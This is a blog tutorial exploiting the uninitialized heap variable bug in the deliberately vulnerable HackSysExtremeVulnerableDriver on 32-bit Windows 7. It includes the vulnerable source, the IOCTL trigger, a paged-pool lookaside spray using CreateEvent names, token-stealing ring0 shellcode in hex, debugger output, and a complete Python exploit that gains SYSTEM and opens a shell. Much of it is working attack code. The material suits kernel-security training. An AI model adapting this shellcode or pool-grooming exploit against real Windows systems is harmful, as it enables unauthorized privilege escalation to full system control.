#dokydoky

[Eng] Windows Kernel Exploit - Uninitialized Heap Variables(Paged Pool) 본문

Windows Exploit

[Eng] Windows Kernel Exploit - Uninitialized Heap Variables(Paged Pool)

dokydoky 2016. 12. 8. 11:34

0x0. Introduction
0x1. Vulnerable code 
0x2. How to trigger
0x3. Exploit
    > Populate LookAside List of Paged pool
    > Shellcode(Privilege Escalation)
    > Full Exploit code


0x0. Introduction

  Hi, This is dokydoky. I wrote about "Uninitialize Heap Variable", an assignment for Windows Kernel Exploitation (by Ashfaq Ansari). I would like to thank Ashfaq Ansari for your help. I used many of the source codes of Pool Overflow and UAF exploit of HackSysExtremeVulnerableDriver.

Environment : Windows 7 SP1 32bit, single processor

Target Driver : HackSysExtremeVulnerableDriver(by @HackSys Team)
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

HackSysExtremeVulnerableDriver If you enter the github, you can download the kernel driver. The compiled version is linked below
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.sys



0x1. Vulnerable code

UninitializedHeapVariable.c

NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_HEAP_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));

        // Allocate Pool chunk
        UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)
                                     ExAllocatePoolWithTag(PagedPool,
                                                           sizeof(UNINITIALIZED_HEAP_VARIABLE),
                                                           (ULONG)POOL_TAG);
        ......
        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        ......
        // Validate the magic value
        if (UserValue == MagicValue) {
            UninitializedHeapVariable->Value = UserValue;
            UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback;

            // Fill the buffer with ASCII 'A'
            RtlFillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeapVariable->Buffer), 0x41);

            // Null terminate the char buffer
            UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / sizeof(ULONG)) - 1] = '\0';
        }

        ......
        // Call the callback function
        if (UninitializedHeapVariable) {
            ......
            UninitializedHeapVariable->Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

NTSTATUS UninitializedHeapVariableIoctlHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) {
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    UNREFERENCED_PARAMETER(Irp);
    PAGED_CODE();

    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;

    if (UserBuffer) {
        Status = TriggerUninitializedHeapVariable(UserBuffer);
    }

    return Status;
}

After assigning a Paged Pool to UninitializedHeapVariable, if UserValue is equal to MagicValue, proceed to initialize UninitializedHeapVariable.

However, if they are not the same, it will call the UninitializedHeapVariable's Callback function, which is not initialized.

UserValue is the value of the UserBuffer and we can manipulate in user mode, so can trigger the vulnerability.


typedef struct _UNINITIALIZED_HEAP_VARIABLE {
    ULONG Value;
    FunctionPointer Callback;
    ULONG Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;

The UNINITIALIZED_HEAP_VARIABLE structure, which is of type UninitializedHeapVariable, is the same as above.
The size is 240(0xF0)byte. 



0x2. How to trigger

HackSysExtremeVulnerableDriver has an IOCTL interface defined. Therefore, it is possible to use the IOCTL in user mode to call the driver function.

When calling IOCTL in user mode, the driver's MajorFunction[IRP_MJ_DEVICE_CONTROL] is called.


HackSysExtremeVulnerableDriver.c

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {

    ......

    // Assign the IRP handlers for Create, Close and Device Control
    DriverObject->MajorFunction[IRP_MJ_CREATE]         = IrpCreateHandler;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]          = IrpCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;

    ......

    return Status;
}

......

NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    ULONG IoControlCode = 0;
    PIO_STACK_LOCATION IrpSp = NULL;
    NTSTATUS Status = STATUS_NOT_SUPPORTED;

    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();

    IrpSp = IoGetCurrentIrpStackLocation(Irp);
    IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;

    if (IrpSp) {
        switch (IoControlCode) {

            ......

            case HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE:
                DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******\n");
                Status = UninitializedStackVariableIoctlHandler(Irp, IrpSp);
                DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******\n");
                break;
            case HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE:
                DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******\n");
                Status = UninitializedHeapVariableIoctlHandler(Irp, IrpSp);
                DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******\n");
                break;
            default:
                DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
                Status = STATUS_INVALID_DEVICE_REQUEST;
                break;
        }
    }

    Irp->IoStatus.Status = Status;
    Irp->IoStatus.Information = 0;

    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

Within MajorFunction[IRP_MJ_DEVICE_CONTROL], which is IrpDeviceIoCtlHandler calls a handler according to IoControlCode.

To get the UninitializedHeapVariableIoctlHandler branch we want, IoControlCode is "HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE".


HackSysExtremeVulnerableDriver.h

#define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE     CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS)


// CTL_CODE macro definition

CTL_CODE( DeviceType,    // Identifies the device type Function,      // Identifies the function to be performed by the driver Method,        // Indicates how the system will pass data between the caller and driver Access         // Indicate the type of access );

"HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE" is declared as above.

The transfer type is METHOD_NEITHER. If you pass a buffer in user mode, the I / O manager does not supply the system buffer or MDL and provides the virtual address of the user mode directly.

Also, the privilege is FILE_ANY_ACCESS, and the I / O manager sends an IRP for all callers that have a driver handle.


Our goal is to call IOCTL with IoControlCode as "HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE" in user mode and to pass UserBuffer different data than 0xBAD0B0B0 which is MagicNumber to trigger the vulnerability.

To call IOCTL in user mode, use DeviceIoControl API and set Device handle, IoControlCode, UserBuffer and so on.

BOOL WINAPI DeviceIoControl(
  _In_        HANDLE       hDevice,
  _In_        DWORD        dwIoControlCode,
  _In_opt_    LPVOID       lpInBuffer,
  _In_        DWORD        nInBufferSize,
  _Out_opt_   LPVOID       lpOutBuffer,
  _In_        DWORD        nOutBufferSize,
  _Out_opt_   LPDWORD      lpBytesReturned,
  _Inout_opt_ LPOVERLAPPED lpOverlapped
);


Since the type of dwIoControlCode is a DWORD, let's see how HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE is represented in the binary.

edx = IoControlCode

loc_1505A:
mov     eax, edx
sub     eax, 22201Fh
jz      loc_150FD
...
push    4
pop     ecx
sub     eax, ecx
jz      short loc_150E8
...
sub     eax, ecx
jz      short loc_150D3
...
sub     eax, ecx
jz      short loc_150BE
...
sub     eax, ecx
jz      short loc_150A9
...
sub     eax, ecx
jz      short loc_15094
...
loc_15094:              ; "****** HACKSYS_EVD_IOCTL_UNINITIALIZED_"...
mov     ebx, offset aHacksys_evd__5
push    ebx             ; Format
call    _DbgPrint
pop     ecx
push    esi             ; IrpSp
push    edi             ; Irp
call    _UninitializedHeapVariableIoctlHandler@8 ; UninitializedHeapVariableIoctlHandler(x,x)
jmp     short loc_15110

IoControlCode-22201F-4-4-4-4-4 = 0

IoControlCode = 0x222033.


Finally, calling the IOCTL as below can trigger an Uninitialized heap variable vulnerability.

hDevice = CreateFile("\\\\.\\HackSysExtremeVulnerableDriver",
                     GENERAL_READ | GENERAL_WRITE,
                     None,
                     None,
                     OPEN_EXISTING,
                     None,
                     None)

pUserBuffer = "AAAA" // not 0xBAD0B0B1
DeviceIoControl(hDevice,
                0x222033,
                pUserBuffer,
                0x4,
                None,
                0,
                None,
                None)



0x3. Exploit


>
 Populate LookAside List of Paged pool

NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_HEAP_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));

        // Allocate Pool chunk
        UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)
                                     ExAllocatePoolWithTag(PagedPool,
                                                           sizeof(UNINITIALIZED_HEAP_VARIABLE),
                                                           (ULONG)POOL_TAG);
        ......
        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;
        ......
        // Call the callback function
        if (UninitializedHeapVariable) {
            ......
            UninitializedHeapVariable->Callback();
    ......
}

The uninitialized variable is UninitializedHeapVariable, which is 0xF0 (240) bytes in size. If you include the Pool header, the paged pool will be allocated the actual 0xF8 size chunk.

typedef struct _UNINITIALIZED_HEAP_VARIABLE {
    ULONG Value;
    FunctionPointer Callback;
    ULONG Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;

To change the flow of the program, you must manipulate the value of the Callback member in the UninitializedHeapVariable structure.

And to change the value of Callback member to the value we want, we need the following procedure.

1) Assign 256 chunks of 0xF8 size to the paged pool (set the value to assign to the callback member at +4 position of the chunk)

2) Disable 256 chunks allocated above -> LookAside List filled with chunks we manipulated.

3) When you assign the UninitializedHeapVariable variable, It will be assigned the modified chunk from the LookAside List.


There are things you need to know before you see the above.

When releasing the pool chunk, if the block size is less than 0x20, up to 256 chunks are managed in the LookAside List, and additional chunks are managed by ListHead.

At this time, the chunks of LookAside List are overwritten by 4 bytes of data, and the ListHead chunks are overwritten by 8 bytes of data.

 LookAside List

  | _POOL_HEADER (8byte) | _SINGLE_LIST_ENTRY (4byte) |  ....... |

 Single Linked List

 ListHead

  | _POOL_HEADER (8byte) | _LIST_ENTRY (8byte) |  ....... |

 Double Linked List


Our goal, the Callback member, is in the +4 position of the structure, so it must be allocated from the LookAside List.

Below is a table comparing before and after freeing chunks.

 Before free 

  | _POOL_HEADER (8byte) | Value (4byte) |  Callback (4byte)  |  Buffer[58]  |

 After free

  | _POOL_HEADER (8byte) | _SINGLE_LIST_ENTRY (4byte) |  Callback (4byte)  |  Buffer[58]  |


I used the CreateEvent API for paged pool allocation.

The allocated event object is allocated to the non-paged pool, but lpName is allocated to the paged pool.

Therefore, if lpName is given as a string of size 0xF0, you can assign 0xF8 (header: 0x8, data: 0xF0) chunk to the paged pool.

HANDLE WINAPI CreateEvent(
  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
  _In_     BOOL                  bManualReset,
  _In_     BOOL                  bInitialState,
  _In_opt_ LPCTSTR               lpName
);


def populate_lookaside():
    ring0_payload = (
    "\x60"                          # 00000000:  pushad
    "\x31\xc0"                      # 00000001:  xor eax,eax
    "\x64\x8b\x80\x24\x01\x00\x00"  # 00000003:  mov eax,[fs:eax+0x124]
    "\x8b\x40\x50"                  # 0000000A:  mov eax,[eax+0x50]
    "\x89\xc1"                      # 0000000D:  mov ecx,eax
    "\xba\x04\x00\x00\x00"          # 0000000F:  mov edx,0x4
    "\x8b\x80\xb8\x00\x00\x00"      # 00000014:  mov eax,[eax+0xb8]
    "\x2d\xb8\x00\x00\x00"          # 0000001A:  sub eax,0xb8
    "\x39\x90\xb4\x00\x00\x00"      # 0000001F:  cmp [eax+0xb4],edx
    "\x75\xed"                      # 00000025:  jnz 0x14
    "\x8b\x90\xf8\x00\x00\x00"      # 00000027:  mov edx,[eax+0xf8]
    "\x89\x91\xf8\x00\x00\x00"      # 0000002D:  mov [ecx+0xf8],edx
    "\x61"                          # 00000033:  popad
    "\xc3"                          # 00000034:  ret
    )
    
    ring0_payload_address = id(ring0_payload) + 20
    debug_print("\t[*] Ring0 payload address: {0}".format(hex(ring0_payload_address)))

    k = "DDDD" + struct.pack("L", ring0_payload_address) + "F"*(0xF0-4-8-6)

    kernel32.DebugBreak()
    # Maxium is 256
    for i in xrange(256):
        tmp = str(i).zfill(4) + '\x00\x00'
        event_objectsB.append(kernel32.CreateEventW(None,
		                                   True,
	                         		   False,
			                           c_char_p(k+tmp)))
	if not event_objectsB[i]:
            debug_print("\t[-] Unable to allocate Event objectsB")
            sys.exit(-1)
    kernel32.DebugBreak()

    for i in xrange(0, len(event_objectsB), 1):
        if not close_handle(event_objectsB[i]):
            debug_print("\t[-] Unable to close Event objectsB handle")
    kernel32.DebugBreak()
The result of checking the LookAside List status in 3 kernel32.DebugBreak() in the above source is as follows (the tag of lpName is "ObNm")
kd> !poolinfo -s -l -t Paged 8292fd40 -b 0xF8;g;
Lookaside[1E]: size=0F8, 829305b0
  9cec7388: size:0F8 prev:058 index:02 type:05 tag:Rpc.
  9cfbe000: size:0F8 prev:000 index:03 type:05 tag:EtwP
Break instruction exception - code 80000003 (first chance)
001b:75884abf cc              int     3

kd> !poolinfo -s -l -t Paged 8292fd40 -b 0xF8;g;
Break instruction exception - code 80000003 (first chance)
001b:75884abf cc              int     3

kd> !poolinfo -s -l -t Paged 8292fd40 -b 0xF8;g;
Lookaside[1E]: size=0F8, 829305b0
  9c97ee38: size:0F8 prev:068 index:02 type:05 tag:ObNm
  99da3838: size:0F8 prev:018 index:01 type:05 tag:ObNm
  9cfbe000: size:0F8 prev:000 index:03 type:05 tag:ObNm
  9cec7388: size:0F8 prev:058 index:02 type:05 tag:ObNm
The initial LookAside List has two arbitrary chunks, and after assigning 256 chunks, there are 0 chunks.
And finally, after freeing 256 chunks, there are 4 lpName chunks we manipulated.
Four chunks are allocated, unlike the expectation that 256 chunks will be allocated to LookAside List, but there is no big problem to do exploit.


> Shellcode(Privilege Escalation)

I used the source code from @Hacksys team's github.(thank you for your detailed comment @Ashfaq Ansari)

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Source/Payloads.c#L145

    ring0_payload = (
    "\x60"                          # 00000000:  pushad

    # Start of Token Stealing Stub
    "\x31\xc0"                      # 00000001:  xor eax,eax
    "\x64\x8b\x80\x24\x01\x00\x00"  # 00000003:  mov eax,[fs:eax+0x124]
    "\x8b\x40\x50"                  # 0000000A:  mov eax,[eax+0x50]
    "\x89\xc1"                      # 0000000D:  mov ecx,eax
    "\xba\x04\x00\x00\x00"          # 0000000F:  mov edx,0x4
    "\x8b\x80\xb8\x00\x00\x00"      # 00000014:  mov eax,[eax+0xb8]
    "\x2d\xb8\x00\x00\x00"          # 0000001A:  sub eax,0xb8
    "\x39\x90\xb4\x00\x00\x00"      # 0000001F:  cmp [eax+0xb4],edx
    "\x75\xed"                      # 00000025:  jnz 0x14
    "\x8b\x90\xf8\x00\x00\x00"      # 00000027:  mov edx,[eax+0xf8]
    "\x89\x91\xf8\x00\x00\x00"      # 0000002D:  mov [ecx+0xf8],edx
    # End of Token Stealing Stub

    "\x61"                          # 00000033:  popad

    # Kernel Recovery Stub
    "\xc3"                          # 00000034:  ret
    )

The contents of the payload is overwriting the token of the system process with the token of the current thread, changing the current thread's privileges to the System privileges.

To prevent BSOD from happening, it saves the register before and after payload through PUSHAD and POPAD.

In addition, kernel stack frame should be properly adjusted after Shellcode execution.

Because it used "Call dword ptr [eax + 4]" command to enter the Shellcode, you only need to add ret command after POPAD command.

HEVD!TriggerUninitializedHeapVariable+0xf7 [c:\hacksysextremevulnerabledriver\driver\source\uninitializedheapvariable.c @ 149]:
  149 92b4bd39 ff30            push    dword ptr [eax]
  149 92b4bd3b 6804c8b492      push    offset HEVD! ?? ::NNGAKEGL::`string' (92b4c804)
  149 92b4bd40 e8c1c2ffff      call    HEVD!DbgPrint (92b48006)
  150 92b4bd45 8b45e4          mov     eax,dword ptr [ebp-1Ch]
  150 92b4bd48 ff7004          push    dword ptr [eax+4]
  150 92b4bd4b 68d4c7b492      push    offset HEVD! ?? ::NNGAKEGL::`string' (92b4c7d4)
  150 92b4bd50 e8b1c2ffff      call    HEVD!DbgPrint (92b48006)
  150 92b4bd55 83c410          add     esp,10h
  152 92b4bd58 8b45e4          mov     eax,dword ptr [ebp-1Ch]
  152 92b4bd5b ff5004          call    dword ptr [eax+4]
  154 92b4bd5e eb24            jmp     HEVD!TriggerUninitializedHeapVariable+0x142 (92b4bd84)

HEVD!TriggerUninitializedHeapVariable+0x142 [c:\hacksysextremevulnerabledriver\driver\source\uninitializedheapvariable.c @ 158]:
  158 92b4bd84 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
  160 92b4bd8b 8b45e0          mov     eax,dword ptr [ebp-20h]

HEVD!TriggerUninitializedHeapVariable+0x14c [c:\hacksysextremevulnerabledriver\driver\source\uninitializedheapvariable.c @ 161]:
  161 92b4bd8e e8c6c2ffff      call    HEVD!__SEH_epilog4 (92b48059)
  161 92b4bd93 c20400          ret     4

Breakpoint 0 hit
HEVD!TriggerUninitializedHeapVariable+0x119:
92b4bd5b ff5004          call    dword ptr [eax+4]

kd> dd @eax
ae1cf9c0  00000000 017ad084 46464646 46464646
ae1cf9d0  46464646 46464646 46464646 46464646
ae1cf9e0  46464646 46464646 46464646 46464646
ae1cf9f0  46464646 46464646 46464646 46464646
ae1cfa00  46464646 46464646 46464646 46464646
ae1cfa10  46464646 46464646 46464646 46464646
ae1cfa20  46464646 46464646 46464646 46464646
ae1cfa30  46464646 46464646 46464646 46464646

kd> uf poi(@eax+4)
017ad084 60              pushad
017ad085 31c0            xor     eax,eax
017ad087 648b8024010000  mov     eax,dword ptr fs:[eax+124h]
017ad08e 8b4050          mov     eax,dword ptr [eax+50h]
017ad091 89c1            mov     ecx,eax
017ad093 ba04000000      mov     edx,4

017ad098 8b80b8000000    mov     eax,dword ptr [eax+0B8h]
017ad09e 2db8000000      sub     eax,0B8h
017ad0a3 3990b4000000    cmp     dword ptr [eax+0B4h],edx
017ad0a9 75ed            jne     017ad098

017ad0ab 8b90f8000000    mov     edx,dword ptr [eax+0F8h]
017ad0b1 8991f8000000    mov     dword ptr [ecx+0F8h],edx
017ad0b7 61              popad
017ad0b8 c3              ret



> Full Exploit code

# -*- coding: utf-8 -*- import sys from ctypes import * import struct import subprocess event_objects = [] kernel32 = windll.kernel32 def debug_print(message): print(message) kernel32.OutputDebugStringA(message + "\n") def get_device_handle(device): open_existing = 0x3 generic_read = 0x80000000 generic_write = 0x40000000 handle = kernel32.CreateFileA(device, generic_read | generic_write, None, None, open_existing, None, None) if not handle: debug_print("\t[-] Unable to get device handle") sys.exit(-1) return handle def close_handle(handle): # BOOL WINAPI CloseHandle( # _In_ HANDLE hObject # ); # close the device handle return kernel32.CloseHandle(handle) def populate_lookaside(): ring0_payload = ( "\x60" # 00000000: pushad "\x31\xc0" # 00000001: xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # 00000003: mov eax,[fs:eax+0x124] "\x8b\x40\x50" # 0000000A: mov eax,[eax+0x50] "\x89\xc1" # 0000000D: mov ecx,eax "\xba\x04\x00\x00\x00" # 0000000F: mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" # 00000014: mov eax,[eax+0xb8] "\x2d\xb8\x00\x00\x00" # 0000001A: sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" # 0000001F: cmp [eax+0xb4],edx "\x75\xed" # 00000025: jnz 0x14 "\x8b\x90\xf8\x00\x00\x00" # 00000027: mov edx,[eax+0xf8] "\x89\x91\xf8\x00\x00\x00" # 0000002D: mov [ecx+0xf8],edx "\x61" # 00000033: popad "\xc3" # 00000034: ret ) ring0_payload_address = id(ring0_payload) + 20 debug_print("\t[*] Ring0 payload address: {0}".format(hex(ring0_payload_address))) k = "DDDD" + struct.pack("L", ring0_payload_address) + "F"*(0xF0-4-8-6) # Maxium is 256 for i in xrange(256): tmp = str(i).zfill(4) + '\x00\x00' event_objects.append(kernel32.CreateEventW(None, True, False, c_char_p(k+tmp))) if not event_objects[i]: debug_print("\t[-] Unable to allocate Event objects") sys.exit(-1) for i in xrange(0, len(event_objects), 1): if not close_handle(event_objects[i]): debug_print("\t[-] Unable to close Event objects handle") def get_process_id(process_name): process_id = None th32cs_snapprocess = 0x2 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684839(v=vs.85).aspx class PROCESSENTRY32(Structure): _fields_ = [ ('dwSize', c_uint), ('cntUsage', c_uint), ('th32ProcessID', c_uint), ('th32DefaultHeapID', c_uint), ('th32ModuleID', c_uint), ('cntThreads', c_uint), ('th32ParentProcessID', c_uint), ('pcPriClassBase', c_long), ('dwFlags', c_uint), ('szExeFile', c_char * 260), ('th32MemoryBase', c_long), ('th32AccessKey', c_long) ] process_entry_32 = PROCESSENTRY32() process_entry_32.dwSize = sizeof(PROCESSENTRY32) # HANDLE WINAPI CreateToolhelp32Snapshot( # _In_ DWORD dwFlags, # _In_ DWORD th32ProcessID # ); handle_process_snapshot = kernel32.CreateToolhelp32Snapshot(th32cs_snapprocess, 0) if not handle_process_snapshot: debug_print("\t[-] Unable to get snapshot") sys.exit(-1) # BOOL WINAPI Process32First( # _In_ HANDLE hSnapshot, # _Inout_ LPPROCESSENTRY32 lppe # ); success = kernel32.Process32First(handle_process_snapshot, byref(process_entry_32)) if not success: debug_print("\t[-] Unable to get the first process information") sys.exit(-1) while success: if process_entry_32.szExeFile.lower() == process_name: process_id = process_entry_32.th32ProcessID break # BOOL WINAPI Process32Next( # _In_ HANDLE hSnapshot, # _Out_ LPPROCESSENTRY32 lppe # ); success = kernel32.Process32Next(handle_process_snapshot, byref(process_entry_32)) # now close the handle close_handle(handle_process_snapshot) return process_id def is_process_having_high_privilege(process_to_open): process_all_access = 0x1F0FFF # DWORD WINAPI GetProcessId( # _In_ HANDLE Process # ); # get the process id of the process we want to open process_id = get_process_id(process_to_open) if not process_id: debug_print("\t[-] Unable to get the process id of: {0}".format(process_to_open)) sys.exit(-1) # HANDLE WINAPI OpenProcess( # _In_ DWORD dwDesiredAccess, # _In_ BOOL bInheritHandle, # _In_ DWORD dwProcessId # ); # try to open the target process handle_process = kernel32.OpenProcess(process_all_access, False, process_id) if not handle_process: return False return True if __name__ == "__main__": pool_buffer_size = 0xF0 bytes_returned = c_ulong() ioctl_uninitialized_heap = 0x00222033 device_name = "\\\\.\\HackSysExtremeVulnerableDriver" magicValue = struct.pack('<I', 0xBAD0B0B1) # order (trigger => 3 only) # 1. prepare user buffer # 2. populate lookaside list # 3. ioctl request # heap size = 0xF0 = 240 debug_print("[+] Preparing user mode buffer") user_mode_buffer = magicValue user_mode_buffer_address = id(user_mode_buffer) + 20 debug_print("\t[*] User Mode buffer: {0}".format(hex(user_mode_buffer_address))) # now get the handle to the vulerable driver debug_print("[+] Opening vulerable device: {0}".format(device_name)) device_handle = get_device_handle(device_name) debug_print("[+] Triggering Uninitialized Heap Variable") debug_print("\t[*] Sending IOCTL Code: {0}".format(hex(ioctl_uninitialized_heap))) # populate lookaside list populate_lookaside() # ioctl request - Trigger kernel32.DeviceIoControl(device_handle, ioctl_uninitialized_heap, user_mode_buffer_address, 0x4, None, 0, byref(bytes_returned), None) # close the device handle debug_print("[+] Closing device handle") if not close_handle(device_handle): debug_print("\t[-] Unable to close device handle") # if we are here, it means that the exploit was successful # let's free the Event objects #debug_print("\t[*] Freeing Event objects") #free_event_objects() debug_print("[+] Checking Current Process Privileges") if not is_process_having_high_privilege(process_to_open="csrss.exe"): debug_print("\t[-] Failed to elevate privileges") sys.exit(-1) # if you are here, you are ninja # we have successfully elevated our privileges debug_print("\t[*] Successfully elevated privileges") # spawn a command shell with SYSTEM privilege debug_print("[+] Spawning CMD with SYSTEM privilege") program_pid = subprocess.Popen("cmd.exe", creationflags=subprocess.CREATE_NEW_CONSOLE, close_fds=True).pid debug_print("\t[*] Shell Process ID: {0}".format(program_pid)) # good bye debug_print("[+] Good bye... Happy exploitation")

One thing to keep in mind is that running the exploit code immediately after rebooting may fail because the LookAside List is activated about two minutes after the reboot.

After LookAside List is activated, it is 100% successful.


Comments